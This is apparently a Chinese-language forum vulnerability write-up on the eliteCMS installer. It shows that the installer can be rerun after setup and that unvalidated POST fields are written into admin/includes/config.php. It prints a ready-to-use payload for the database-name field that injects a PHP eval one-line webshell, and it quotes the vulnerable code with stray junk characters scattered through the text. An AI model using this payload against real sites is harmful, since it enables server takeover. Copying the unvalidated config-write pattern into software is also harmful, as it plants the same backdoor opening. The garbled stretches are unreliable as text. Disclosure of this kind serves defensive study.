eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

7 {* p/ P8 Y1 d: W" p  R% r" ^另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
2 T9 p3 H' m+ z) i4 C4 P% A0 c我们来看代码：

9 k  H5 v. U2 r+ g! U& P...
' v! m& l5 j" E0 O  Qelseif ($_GET['step'] == "4") {
& T$ \( v# N5 m# n) V  y    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
0 `& d; b- {: @" F...略...
5 ?5 V) Q* k# U    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
) e# N0 F  q4 W$ l* ~$ e$ m    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
6 x( _/ [) O4 T( H/ o$ L7 }    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
3 n# i) |$ K6 ~  ]- V    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
3 H1 K/ D1 ~2 ?+ Y8 b$ o6 e    $write .= "?>\n";

    $writer = fopen($file, 'w');
' J; [4 q4 T7 P6 Z! T...
! ^6 h, `* }& A! Y2 r
3 Z# L/ U9 a- L% ]1 C0 k在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$ h9 b1 u& |) Z$ K% ~$_SESSION['DB_USER'] = $_POST['DB_USER'];
$ v! i( }* g/ V8 ?2 t$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php
3 p! `$ F1 x0 J
! j, k# D' X! Y  Z# p- z- z将导致一句话后门写入/admin/includes/config.php
7 F! u8 y! B* e$ Y